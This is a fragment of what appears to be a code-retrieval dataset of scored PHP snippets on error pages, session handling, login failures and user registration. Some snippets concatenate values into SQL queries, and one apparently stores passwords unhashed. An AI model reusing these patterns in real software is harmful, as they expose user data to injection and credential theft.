http://php.net/manual/en/book.session.php\n\t */\n\t //wp_redirect( \"http://sdesosiwebdev1.sdes.ucf.edu/osi/error\");\n\t //exit;\n}", "title": "" }, { "docid": "515581fa9991de59dc34a8770935f896", "score": "0.5913662", "text": "public function errorAction() {\n $this->view->user = ParagonFramework_Models_User::getUser();\n\n switch($this->getParam('name', '')) {\n case E_USERVIEW_NOT_VALID:\n $this->view->error_title = \"UserView not valid\";\n $this->view->error_message = \"Your User is not associated with this UserView!\";\n return;\n\n case E_USERVIEW_NOT_PRESENT:\n $this->view->error_title = \"UserView not present\";\n $this->view->error_message = \"Your User is not associated with any UserView!\";\n return;\n\n default:\n $this->view->error_title = \"Internal Error\";\n $this->view->error_message = \"Something went south, we are sorry!\";\n return;\n }\n }", "title": "" }, { "docid": "840d9d7140c8b307110f68ec4e5dcd74", "score": "0.5911936", "text": "public function showErrorPage(Exception $exception);", "title": "" }, { "docid": "c8946a217add4655e0373b15ddffa337", "score": "0.5908415", "text": "function errorMessageLogin(){\n if (isset($_SESSION[\"message\"])) {\n echo $_SESSION[\"message\"];\n unset($_SESSION[\"message\"]);\n } \n }", "title": "" }, { "docid": "282ddaa0f4f0558928530a67ecdd9b2a", "score": "0.5908133", "text": "public function SessionFailed()\n\t{\n\t\tif (isset($_SESSION['FB_Failed'])) {\n if (isset($_SESSION['FB_Failed_Date']) && $_SESSION['FB_Failed_Date']+60 < time()) { //Reset Login Failed Counter, every 60sec\n\t\t\t$_SESSION['FB_Failed'] = 1;\n }\n else {\n $_SESSION['FB_Failed']++;\n }\n }\n\t\telse {\n\t\t\t$_SESSION['FB_Failed'] = 1;\n }\n \n $_SESSION['FB_Failed_Date'] = time();\n\t}", "title": "" }, { "docid": "739e4a6cb31874736e3a52d6224da55f", "score": "0.59045625", "text": "public function actionError()\n\t{\n\t\t$this->layout = '//layouts/layout-without-nav';\n\n\t if($error=Yii::app()->errorHandler->error)\n\t {\n\t \tif(Yii::app()->request->isAjaxRequest)\n\t \t\techo $error['message'];\n\t \telse\n\t \t$this->render('error', $error);\n\t }\n\t}", "title": "" }, { "docid": "47713bdf2370646c4dc4f6276c355b6c", "score": "0.5903839", "text": "function feedback_error()\n\t{\n\t\t$this->page_id = 10162;\n\t\t$this->get_text();\n\t\t\n\t\t$view = geoView::getInstance();\n\t\t$view->errors = $this->error_message;\n\n\t\t$view->setBodyTpl('feedback/feedback_error.tpl','','auctions');\n\t\t\n\t\t$this->display_page();\n\t}", "title": "" }, { "docid": "52ae3c5628618f3133d0fef65ddb3e45", "score": "0.5903095", "text": "private function errorRedirect() {\n\t\t$this->session->data['warning'] = $this->error['warning'];\n\t\t$this->redirect($this->url->http('tool/product_import'));\n\t\texit();\n\t}", "title": "" }, { "docid": "cc278cc08f70496dd0801838e8d251e9", "score": "0.5903082", "text": "public function openIdentityError () {\n // Redirect\n Header::setKey (Location\n ::staticTo (new A (Array ('Texts')),\n new A (Array ('OAuth Sign Up Error'))),\n new S ('Location'));\n }", "title": "" }, { "docid": "5b988841c50a08c3d584ccc638c36b0b", "score": "0.5892975", "text": "function error(){\n\tif(!isset($_SERVER['HTTP_REFERER'])){\n\t\theader('Location: ' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);\n\t}\n\telse{\n\t\theader('Location: ' . $_SERVER['HTTP_REFERER']);\n\t}\n\texit();\t\n}", "title": "" }, { "docid": "a37cbaec6ab06c032502ac0461162743", "score": "0.5887445", "text": "public function errorAction() {\n $this->_redirect('checkout/onepage/failure');\n }", "title": "" }, { "docid": "8b63526e70413bf44c1a6b2a64b11c9f", "score": "0.58777744", "text": "public static function renderError404()\n {\n header('HTTP/1.0 404 Not Found');\n require_once APP_PATH.\"/views/errors/404.php\";\n }", "title": "" }, { "docid": "e08410a7918176286a0e881b3762a8bc", "score": "0.5876343", "text": "public function error() {\n // display error\n $sidebar = Application::sidebar();\n $used_tags = Application::displayUsedTags();\n $definitions = Definition::all();\n require_once('view/definitions/error.php');\n }", "title": "" }, { "docid": "0fb7fb2a08677977f4fad9166bc94530", "score": "0.58723736", "text": "function loginFailMessage() : string {\n if (array_key_exists('badname' , $_SESSION) || array_key_exists('badpass', $_SESSION) ||\n array_key_exists('badfields', $_SESSION)) {\n session_destroy();\n return 'Incorrect credentials. Please try again.';\n }\n return '';\n}", "title": "" }, { "docid": "8ca6ed7bfae9714044ccd1b0053040bd", "score": "0.5866777", "text": "protected function output_error(){\t\r\n\t\t$this->log(\"Critical error in Connector, processing stoped.\");\r\n\t\theader(\"Content-type:text/html\");\r\n\t\tif ($this->client_log)\r\n\t\t\techo \"<pre><xmp>\\n\".$this->_log->get_session_log().\"\\n</xmp></pre>\";\r\n\t\telse\r\n\t\t\techo \"Error in Connector\\nCheck server side logs for more details.\";\r\n\t\t\r\n\t\tdie();\r\n\t}", "title": "" }, { "docid": "494575ecb9ebd374ef45fef9523ac565", "score": "0.5854722", "text": "function validate_session()\r\n\t{\r\n\t\tif ( ! session_is_valid() )\r\n\t\t{\r\n\t\t\t$_SESSION['RESTRICTED_ACTION'] = $_SERVER['REQUEST_URI'];\r\n\t\t\tnotify_redirect('/');\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "396e90743d000fa26f417fa7c30c2f71", "score": "0.58487207", "text": "function show_error($message = '') {\n include('views/error_page.php');\n exit;\n }", "title": "" }, { "docid": "6b9f86d4e8906eceee8828baba7ef0e6", "score": "0.58376515", "text": "public static function redirect_to_error_page() {\r\n\t\t$absolute_url = site_url('kkm/error');\r\n\t\twp_redirect($absolute_url); //Temporal redirect\r\n\t\tdie();\r\n\t}", "title": "" }, { "docid": "38b1e5e0a5d706d4f23fd4d797dcafdd", "score": "0.5835525", "text": "function showError404(){\n include (\"view/Error404.php\");\n }", "title": "" }, { "docid": "c5e91ffdc84eba1f0320c843e09b1262", "score": "0.58271325", "text": "public function login_failed( $msg = 'Failed to login' ) {\n $this->login_page( \"failed=true&message={$msg}\" );\n }", "title": "" }, { "docid": "901f8349728d7ef11be711608ff62e88", "score": "0.5825077", "text": "public function index($error=null){\n if (session::get('loggin')==true){ \n $this->routeUser(); \n }\n //TODO: gestion des erreurs\n // this is displayed as defaut if user is not loged in\n $data['loginError']=$error;\n $data['Title']=MAIN_LOGIN;\n $this->view->rendertemplate('header',$data);\n $this->view->render('fo/deliveryman/menu_delevery',$data);\n $this->view->render('loginPg',$data);\n $this->view->rendertemplate('footer',$data);\n }", "title": "" }, { "docid": "0e4d170ce51af0a3f99a21229ead0eee", "score": "0.58204055", "text": "function showError(){\n\t\t$error = new errorController();\n\t\t$error->index();\n\t}", "title": "" }, { "docid": "64386f0e2a4e0c5950423e4f6cd96242", "score": "0.5815169", "text": "public function actionError()\n\t{\n\t\t$this->layout = \"main\";\n\t\tif($error=Yii::app()->errorHandler->error)\n\t\t{\n\t\t\tif(Yii::app()->request->isAjaxRequest)\n\t\t\t\techo $error['message'];\n\t\t\telse\n\t\t\t\t$this->render('error', $error);\n\t\t}\n\t}", "title": "" }, { "docid": "e34c488a50675f06d19b206d71952856", "score": "0.58132154", "text": "public function notFound()\n {\n if (isLoggedIn()) {\n http_response_code(404);\n return view('pages/notfound');\n } else {\n expiredSession();\n }\n }", "title": "" }, { "docid": "8548df398128b80474b74f567e01e2b3", "score": "0.5811263", "text": "public function error404 (){\n $this->load->helper('url');\n $this->load->view('error404');\n }", "title": "" }, { "docid": "06ca244bd315cea592f39af0335592eb", "score": "0.58068895", "text": "function error_page($error_message) {\n return page('templates/error_page.php', array('error_message' => \"{$error_message}\"));\n}", "title": "" }, { "docid": "ade661b08360bd79e50e423cdba94a67", "score": "0.58046186", "text": "public function handle_global_exception() {\n\n global $filelogger, $session, $template;\n\n // build from error template\n if(!Validator::isa($filelogger,\"null\")) $filelogger->info(\"handling global error\");\n\n if(!Validator::isa($session,\"null\") && $session->has(\"template\")) \n $tname = $session->get(\"template\");\n else if(!Validator::isa(@constant(\"TEMPLATE_DEFAULT\"),\"null\")) \n $tname = TEMPLATE_DEFAULT;\n else \n $tname = \"heili\";\n\n // setup the error template\n $template = new Template($tname,\"error\");\n\n // build message string\n $message = \"\\n\\n\".$this->get_error_message($this->get_eid()).\"&lt;br/&gt;\".\n $this->get_trace_message();\n \n // and pin it to the error node\n $template->add($message,\n $template->get_map()->get(\"c_gerror\")->get_target(),\n $template->get_map()->get(\"c_gerror\")->get_index());\n\n // remove error from the session if some was set before\n if(!Validator::isa($session,\"null\") && $session->has(\"error\"))\n $session->set(\"error\",null,array());\n session_write_close();\n\n // print the modified (global) error template and submit it to the client\n echo $template->get();\n ob_flush();\n\n }", "title": "" }, { "docid": "97c21e5f39f4c1ce626631b21620d367", "score": "0.5801829", "text": "public function actionError()\n {\n if ($error = Yii::app()->errorHandler->error) {\n if (Yii::app()->request->isAjaxRequest) {\n echo $error['message'];\n } else {\n pa($error);//exit;\n $this->render('error', array('error' => $error));\n }\n }\n }", "title": "" }, { "docid": "8d18e56c0f812451a8935387e6def26f", "score": "0.5794134", "text": "public function actionError()\n\t{\n\t\t$this->layout = false;\n\t\t\n\t\tif($error=Yii::app()->errorHandler->error)\n\t\t{\n\t\t\tif(Yii::app()->request->isAjaxRequest)\n\t\t\t\techo $error['message'];\n\t\t\telse\n\t\t\t\t$this->render('error', $error);\n\t\t}\n\t}", "title": "" }, { "docid": "955a112cea3f8990b7e7aa169ea2ec44", "score": "0.5790425", "text": "public function actionError() {\n\t\t$this->layout = false;\n\t\tif ($error = Yii::app()->errorHandler->error) {\n\n\t\t\t//handling default image for speakers, presentations, etc\n\t\t\tif ($error['code'] == 404 && strpos($error['message'], '.jpg\"') !== false) {\n\t\t\t\tpreg_match('/\".*\"/', $error['message'], $path);\n\t\t\t\t$path = substr($path[0], 1, -1);\n\t\t\t\t$asked_img = Yii::app()->getBasePath(true).'/../'.$path;\n\t\t\t\t$is_thumb = strpos($path, '.thumb.') !== false;\n\t\t\t\t$default_img = Yii::app()->getBasePath(true).'/../'.dirname($path).'/default'.($is_thumb? '.thumb':'').'.jpg';\n\t\t\t\tif (!file_exists($asked_img) && file_exists($default_img)) {\n\t\t\t\t\theader('Content-type: image/jpeg');\n\t\t\t\t\theader('HTTP/1.0 200 OK');\n\t\t\t\t\techo file_get_contents($default_img);\n\t\t\t\t\texit;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (Yii::app()->request->isAjaxRequest)\n\t\t\t\techo $error['message'];\n\t\t\telse\n\t\t\t\t$this->render('error', $error);\n\t\t}\n\t}", "title": "" } ]
d27049c275079eedadd55c7945034533
recibimos el llamado del controlador y guardamos el usuario en la base de datos
[ { "docid": "e7e930aa509c5ca6d5256f4a306e0faa", "score": "0.0", "text": "static public function mdlRegistroUsuario($tabla, $datos){\n$stmt = Conexion::conectar()->prepare(\"INSERT INTO $tabla (nombre, cedulaPasaporte, celular, edad, sexo, localidad, nacionalidad, ocupacion, hojaDeVida, email, calificacion1, calificacion2, calificacion3, calificacion4, calificacion5, calificacion6, calificacion7, calificacion8, calificacion9, calificacion10, calificacion11, calificacion12, calificacion13, calificacion14, calificacion15,\n\t\t calificacion16, calificacion17, calificacion18, calificacion19, calificacion20, totalCalificacion, color, estado, emailEncriptado) \n\t\t\tVALUES(:nombre, :cedulaPasaporte, :celular, :edad, :sexo, :localidad, :nacionalidad, :ocupacion, :hojaDeVida, :email, :calificacion1, :calificacion2, :calificacion3, :calificacion4, :calificacion5, :calificacion6, :calificacion7, :calificacion8, :calificacion9, :calificacion10, :calificacion11, :calificacion12, :calificacion13, :calificacion14, :calificacion15, :calificacion16, :calificacion17, :calificacion18, :calificacion19, :calificacion20, :totalCalificacion, :color, :estado, :emailEncriptado)\");\n\n\t\t$stmt->bindParam(\":nombre\", $datos[\"nombre\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":cedulaPasaporte\", $datos[\"cedulaPasaporte\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":celular\", $datos[\"celular\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":edad\", $datos[\"edad\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":sexo\", $datos[\"sexo\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":localidad\", $datos[\"localidad\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":nacionalidad\", $datos[\"nacionalidad\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":ocupacion\", $datos[\"ocupacion\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":hojaDeVida\", $datos[\"hojaDeVida\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":email\", $datos[\"email\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":calificacion1\", $datos[\"calificacion1\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion2\", $datos[\"calificacion2\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion3\", $datos[\"calificacion3\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion4\", $datos[\"calificacion4\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion5\", $datos[\"calificacion5\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion6\", $datos[\"calificacion6\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion7\", $datos[\"calificacion7\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion8\", $datos[\"calificacion8\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion9\", $datos[\"calificacion9\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion10\", $datos[\"calificacion10\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion11\", $datos[\"calificacion11\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion12\", $datos[\"calificacion12\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion13\", $datos[\"calificacion13\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion14\", $datos[\"calificacion14\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion15\", $datos[\"calificacion15\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion16\", $datos[\"calificacion16\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion17\", $datos[\"calificacion17\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion18\", $datos[\"calificacion18\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion19\", $datos[\"calificacion19\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":calificacion20\", $datos[\"calificacion20\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":totalCalificacion\", $datos[\"totalCalificacion\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":color\", $datos[\"color\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":estado\", $datos[\"estado\"], PDO::PARAM_INT);\n\t\t$stmt->bindParam(\":emailEncriptado\", $datos[\"emailEncriptado\"], PDO::PARAM_STR);\n\n\t\n\n\t\tif($stmt->execute()){\n\n\t\t\treturn \"ok\";\n\n\t\t}else{\n\n\t\t\treturn \"error\";\n\t\t\n\t\t}\n\n\t\t$stmt->close();\n\t\t$stmt = null;\n\n\t}", "title": "" } ]
[ { "docid": "8b80592bd242b89feff1f979646b1e77", "score": "0.7123513", "text": "private function insertUser ( ) {\r\n \r\n /** @var string $fields Conté els camps per la consulta */\r\n $fields = \"'\" . $this->nom . \"','\" . $this->cognoms . \"','\" . $this->correu .\"',\" . $this->correuConfirmat . \",\" . $this->noCaduca . \",\" . $this->noBloqueja . \",\" . $this->canviInici . \",\" . $this->esAdministrador . \",\" . $this->intents . \",\" . $this->idPolitica;\r\n\r\n if ( $fields != \"\" ) { /** si s'han omplert els camps */\r\n \r\n /** executa el mètode per afegir un usuari nou */\r\n $this->usuari = $this->model->afegeixUsuari ( $fields );\r\n \r\n } \r\n \r\n /** recupera el identificador del últim usuari afegit a la bbdd */\r\n $idUsuari = $this->model->retornaUltimUsuariAfegit ( );\r\n \r\n /** genera un hash per la paraula de pas escollida */\r\n $newPasswordEncrypted = password_hash ( $this->paraulaPas, PASSWORD_BCRYPT );\r\n \r\n $dataPasword = date( \"Y-m-d H:i:s\" );\r\n \r\n $fields = $idUsuari . \",'\";\r\n\r\n $fields = $fields . $newPasswordEncrypted . \"','\" . $dataPasword . \"'\";\r\n \r\n /** afegeix la paraula de pas a la bbdd */\r\n $this->modelParuala->afegeixParaula( $fields );\r\n \r\n /** crida al mètode que mostra la llista d'usuaris */\r\n $this->viewList ( );\r\n \r\n }", "title": "" }, { "docid": "2ca5d5b5db3eb32a7ee82f28f889e81b", "score": "0.7024859", "text": "public function guardarUsuario(Usuario $usuario) {\n\n/*\n $query = $this->db->prepare(\"insert into users values(default, :username, :email, :password, :nombre, :apellido, :avatar_id, :estado_civil, :fecha_nacimiento, :created_at, :updated_at)\");\n\n $query->bindValue(\":username\", $usuario->getUsername(), PDO::PARAM_STR);\n\t\t$query->bindValue(\":email\", $usuario->getEmail(), PDO::PARAM_STR);\n\t\t$query->bindValue(\":password\", $usuario->getPassword(), PDO::PARAM_STR);\n $query->bindValue(\":nombre\",'pepe', PDO::PARAM_STR);\n $query->bindValue(\":apellido\", 'sarasa', PDO::PARAM_STR);\n $query->bindValue(\":avatar_id\", 1, PDO::PARAM_INT);\n $query->bindValue(\":estado_civil\", 1, PDO::PARAM_INT);\n $query->bindValue(\":fecha_nacimiento\", \"holis\", PDO::PARAM_STR);\n $query->bindValue(\":created_at\", \"holis\", PDO::PARAM_STR);\n $query->bindValue(\":updated_at\", \"holis\", PDO::PARAM_STR);\n\n $query->execute();\n var_dump(\"listo\");exit;\n*/\n\n\t\t$query = $this->db->prepare(\"insert into usuarios values(default, :username, :nombre, :apellido, :email, :password, :avatar_id, :fecha_nacimiento, :estado_civil, :created_at, :updated_at)\");\n\n $query->bindValue(\":username\", $usuario->getUsername(), PDO::PARAM_STR);\n $query->bindValue(\":nombre\",'pepe', PDO::PARAM_STR);\n $query->bindValue(\":apellido\", 'sarasa', PDO::PARAM_STR);\n\t\t$query->bindValue(\":email\", $usuario->getEmail(), PDO::PARAM_STR);\n\t\t$query->bindValue(\":password\", $usuario->getPassword(), PDO::PARAM_STR);\n $query->bindValue(\":avatar_id\", 1, PDO::PARAM_INT);\n $query->bindValue(\":fecha_nacimiento\", \"holis\", PDO::PARAM_STR);\n $query->bindValue(\":estado_civil\", 1, PDO::PARAM_INT);\n $query->bindValue(\":created_at\", \"holis\", PDO::PARAM_STR);\n $query->bindValue(\":updated_at\", \"holis\", PDO::PARAM_STR);\n\n\t\t//$id = $this->db->lastInsertId();\n\t\t//$usuario->setId($id);\n // var_dump($id);exit;\n\t\t$query->execute();\n\t\treturn $usuario;\n }", "title": "" }, { "docid": "44aabc4dc7935f1ea1b1dd31e2eb6a35", "score": "0.6983044", "text": "public function persist (){\n\n // if(array_key_exists('usuario',$user_data)){\n // $this->get($user_data['id']);\n\n // if($user_data['id'] != $this->id){\n // foreach ($user_data as $campo => $valor) {\n // $$campo = $valor;\n // }\n // }\n // }\n\n if(count($this->existeUsuario($this->usuario)) == 0){\n\n $this->query = \"INSERT INTO usuarios(usuario,contrasenna) VALUES (:usuario, :contrasenna)\";\n\n // $this->parametros['id']=$user_data[\"id\"];\n $this->parametros['usuario']=$this->usuario;\n $this->parametros['contrasenna']=$this->contrasenna;\n \n $this->get_results_from_query();\n\n\n $this->mensaje = \"Usuario agregado exitosamente\";\n }\n else{\n $this->mensaje = \"El usuario ya existe\";\n }\n }", "title": "" }, { "docid": "1727647259703ebb31dc9a83aa2ed25d", "score": "0.69395185", "text": "public function save(){\n\t\t$usuarios=[];\n\t\t$usuarios=Usuario::all();\n\t\t$existe=False;\n\t\tforeach ($usuarios as $usuario) {\n\t\t\tif (strcmp($usuario->getCiRuc_User(),$_POST['CiRuc_User'])==0 or strcmp($usuario->getEmail_User(),$_POST['Email_User'])==0) {\n\t\t\t\t$existe=True;\n\t\t\t}\n\t\t}\t\t\t\n\n\t\tif (!$existe) {\n\t\t\t$usuario= new Usuario(null, $_POST['CiRuc_User'], $_POST['Nombre_User'], $_POST['Telefono_User'], $_POST['Email_User'], $_POST['Direccion_User'], $_POST['Descripcion_User'], $_POST['Pass_User']);\n\t\t\tUsuario::save($usuario);\n\t\t\t$_SESSION['mensaje']='Usuario registrado satisfactoriamente. Acceda a la app con sus credenciales.';\n\t\t\t$this->showLogin();\n\t\t\t//header('Location: index.php');\n\t\t\t//require_once('Views/Layouts/layout.php');\n\t\t}else{\n\t\t\t$_SESSION['mensaje']='La cédula o el correo electrónico para tu usuario ya existen';\n\t\t\theader('Location: index.php');\n\t\t}\t\n\t}", "title": "" }, { "docid": "9cddc81e23ae9f9ff284faa9b7df3517", "score": "0.6928698", "text": "public function registrarUsuariosControlador()\n\t{\n\t\tif (isset($_POST['enviars'])) {\n\t\t\t$datos = array(\n\t\t\t\t'nombre' => $_POST['nombreRegistro'],\n\t\t\t\t'apellido' => $_POST['apellidoRegistro'],\n\t\t\t\t't_d' => $_POST['t_dRegistro'],\n\t\t\t\t'n_d' => $_POST['n_dRegistro'],\n\t\t\t\t'fn' => $_POST['fnRegistro']\n\t\t\t);\n\t\t\t$registrarUsuario = new UsuariosModel();\n\t\t\t$respuesta = $registrarUsuario->registarUsuariosModelo($datos);\n\t\t\tif ($respuesta) {\n\t\t\t\t$idPersona = $registrarUsuario->optenerUltimoIdModelo();\n\t\t\t\t$ultimoId = $idPersona[0]['id'];\n\t\t\t}\n\t\t\tif (isset($_POST['enviars'])) {\n\t\t\t\t$datosLogin = array('email' => $_POST['emailRegistro'],\n\t\t\t\t\t'clave' => $_POST['numeroRegistro'],\n\t\t\t\t\t'idPersona' => $ultimoId,\n\t\t\t\t\t'idRol' => 2);\n\t\t\t\t$registarLogin = new LoginModelo();\n\t\t\t\t$respuesta = $registarLogin->registrarLoginModelo($datosLogin);\n\t\t\t\tif ($respuesta == 'success') {\n\t\t\t\t\theader('location:ingresar');\n\t\t\t\t} else {\n\t\t\t\t\tprint \"Usuario no Registrado\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t}\n\t}", "title": "" }, { "docid": "720a337f0a6900e7e1bcc2ed95557574", "score": "0.6904449", "text": "public function registrar_usuario($nombres,$apellidos,$dni,$telefono,$correo,$direccion,$cargo,$usuario,$password,$password2,$estado){\n\n $conectar=parent::conexion();\n // parent::set_names();\n\n $sql=\"insert into usuarios \n values(null,?,?,?,?,?,?,?,?,?,?,now(),?);\";\n\n $sql=$conectar->prepare($sql);\n\n $sql->bindValue(1, $_POST[\"nombres\"]);\n $sql->bindValue(2, $_POST[\"apellidos\"]);\n $sql->bindValue(3, $_POST[\"dni\"]);\n $sql->bindValue(4, $_POST[\"telefono\"]);\n $sql->bindValue(5, $_POST[\"correo\"]);\n $sql->bindValue(6, $_POST[\"direccion\"]);\n $sql->bindValue(7, $_POST[\"cargo\"]);\n $sql->bindValue(8, $_POST[\"usuario\"]);\n $sql->bindValue(9, $_POST[\"password\"]);\n $sql->bindValue(10, $_POST[\"password2\"]);\n $sql->bindValue(11, $_POST[\"estado\"]);\n $sql->execute();\n \t }", "title": "" }, { "docid": "ec20f94a5b2c43df2723b45d7736ac5c", "score": "0.6878906", "text": "public function insertarUsuarios()\n {\n if($this->seguridad->haySesionIniciada() && $_SESSION['type'] == 'admin')/* && $_SESSION[\"type\"] == \"admin\"*/\n {\n $name = $_REQUEST['name'];\n $lastname1 = $_REQUEST['lastname1'];\n $lastname2 = $_REQUEST['lastname2'];\n $dni = $_REQUEST['dni'];\n $password = $_REQUEST['password'];\n $email = $_REQUEST['email'];\n $type = $_REQUEST['type'];\n\n $result = $this->usuario->crearUsuario($name, $lastname1, $lastname2, $dni, $password, $email, $type);\n\n if($result)\n {\n $id['usuario'] = $this->usuario->getId($email);\n foreach($id['usuario'] as $idUsuario) \n {\n $idUs = $idUsuario->idUser;\n $result = $this->usuario->indicarImagen($idUs);\n if($result)\n {\n copy('./imagenes/usuarios/default', 'imagenes/usuarios/'.$idUs);\n $data['msjInfo'] = \"Usuario creado con exito\";\n $data['mostrarUsuario'] = $this->usuario->getAll();\n $this->vista->mostrar(\"usuarios/listaUsuarios\", $data);\n }\n else\n {\n $data['msjError'] = \"Error en la creación del usuario\";\n $data['mostrarUsuario'] = $this->usuario->getAll();\n $this->vista->mostrar(\"usuarios/listaUsuarios\", $data);\n }\n }\n }\n }\n else\n {\n $data['msjError'] = \"No tienes permisos para esto\";\n $this->vista->mostrar(\"login\", $data);\n }\n }", "title": "" }, { "docid": "ab762b4448ff38f52bee3cd9d33c3e20", "score": "0.68300086", "text": "static public function ctrIngresoUsuario() {\n\n if (isset($_POST[\"txtUsuario\"])) {\n if (preg_match('/^[a-zA-Z0-9]+$/', $_POST[\"txtUsuario\"]) &&\n preg_match('/^[a-zA-Z0-9]+$/', $_POST[\"txtContraseña\"])) {\n\n $encriptar = crypt($_POST[\"txtContraseña\"],'$2a$07$asxx54ahjppf45sd87a5a4dDDGsystemdev$');\n\n $tabla = \"Usuario\";\n $item = \"Usuario\";\n $valor = $_POST[\"txtUsuario\"];\n $respuesta = UsuariosModelo::mdlMostrarUsuarios($tabla, $item, $valor);\n if ($respuesta) {\n \n if ($respuesta[\"Usuario\"] == $_POST[\"txtUsuario\"] && $respuesta[\"Contrasena\"] == $encriptar) {\n \n \n if ($respuesta[\"Estado\"] == 1) {\n $_SESSION[\"iniciarSesion\"] = \"ok\";\n \n $item1 = \"idPersonal\";\n $valor1 = $respuesta[\"idUsuario\"];\n $Personal = PersonalControlador::ctrMostrarPersonal($item1, $respuesta[\"idPersonal\"]);\n $item2 = 'idPerfil';\n $valor = $respuesta[\"idPerfil\"];\n $orden = 'idPerfil';\n $Perfil = PerfilControlador::ctrMostrarPerfil($orden, $respuesta['idPerfil'], $orden);\n \n $_SESSION[\"idPersonal\"] = $Personal[\"idPersonal\"];\n $_SESSION[\"idUsuario\"] = $respuesta[\"idUsuario\"];\n $_SESSION[\"Nombres\"] = $Personal[\"Nombres\"];\n $_SESSION[\"Apellidos\"] = $Personal[\"Apellidos\"];\n $_SESSION[\"Foto\"] = $Personal[\"Foto\"];\n $_SESSION[\"Perfil\"] = $Perfil[\"Perfil\"];\n \n echo '<script>window.location = \"Inicio\";</script>';\n } else {\n echo '<br><div class=\"alert alert-danger\">El usuario aún no está activado</div>';\n }\n } else {\n \n echo '<br><div class=\"alert alert-danger\">Error al ingresar, vuelve a intentarlo</div>';\n }\n }else{\n echo '<br><div class=\"alert alert-danger\">Error al ingresar, vuelve a intentarlo</div>';\n }\n\n\n\n }\n }\n }", "title": "" }, { "docid": "30ebd97550b7fd5b4bb66af72a2bbf12", "score": "0.6784966", "text": "public function registrarUsuarioControlador()\n\t\t{\n\t\t\t//Administrador\n\t\t\t$dni = modeloPrincipal::limpiarCadena($_POST['dni-regi']);\n\t\t\t$nombre = modeloPrincipal::limpiarCadena($_POST['nombre-regi']);\n\t\t\t$apellido = modeloPrincipal::limpiarCadena($_POST['apellido-regi']);\n\t\t\t$telefono = modeloPrincipal::limpiarCadena($_POST['telefono-regi']);\n\t\t\t$direccion = modeloPrincipal::limpiarCadena($_POST['direccion-regi']);\n\t\t\t\n\n\t\t\t//Cuenta\n\t\t\t$usuario = modeloPrincipal::limpiarCadena($_POST['usuario-regi']);\n\t\t\t$password1 = modeloPrincipal::limpiarCadena($_POST['password1-regi']);\n\t\t\t$password2 = modeloPrincipal::limpiarCadena($_POST['password2-regi']);\n\t\t\t$email = modeloPrincipal::limpiarCadena($_POST['email-regi']);\n\t\t\t$genero = modeloPrincipal::limpiarCadena($_POST['optionsGenero-regi']);\n\n\t\t\t$privilegio = modeloPrincipal::limpiarCadena($_POST['privilegio-regi']);\n\n\t\t\t//$privilegio = modeloPrincipal::desencriptar($_POST['optionsPrivilegio']);\n\t\t\tif ($privilegio == \"Docente\") \n\t\t\t{\n\t\t\t\t$rol = 2;\n\n\t\t\t\tif ($genero == \"Masculino\") \n\t\t\t\t{\n\t\t\t\t\t$foto = \"docenteHombre.png\";\n\t\t\t\t} \n\t\t\t\telse \n\t\t\t\t{\n\t\t\t\t\t$foto = \"docenteMujer.png\";\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$rol = 3;\n\n\t\t\t\tif ($genero == \"Masculino\") \n\t\t\t\t{\n\t\t\t\t\t$foto = \"estudianteHombre.png\";\n\t\t\t\t} \n\t\t\t\telse \n\t\t\t\t{\n\t\t\t\t\t$foto = \"estudianteMujer.png\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\n\t\t\tif ($password1 != $password2)\n\t\t\t{\n\t\t\t\t\t$alerta = [\n\t\t\t\t\t\t\"Alerta\" => \"simple\",\n\t\t\t\t\t\t\"Titulo\" => \"Error\",\n\t\t\t\t\t\t\"Texto\" => \"Contraseñas NO coinciden, verifique nuevamente\",\n\t\t\t\t\t\t\"Tipo\" => \"error\"\n\t\t\t\t\t];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$consultaDNI = modeloPrincipal::ejecutarConsultaSimpleSQL(\"SELECT PersonaDNI FROM persona WHERE PersonaDNI='$dni'\");\n\n\t\t\t\t\tif ($consultaDNI->rowCount()>=1) {\n\t\t\t\t\t\t$alerta = [\n\t\t\t\t\t\t\t\"Alerta\" => \"simple\",\n\t\t\t\t\t\t\t\"Titulo\" => \"Error\",\n\t\t\t\t\t\t\t\"Texto\" => \"El DNI ya esta registrado en el sistema. Verifique 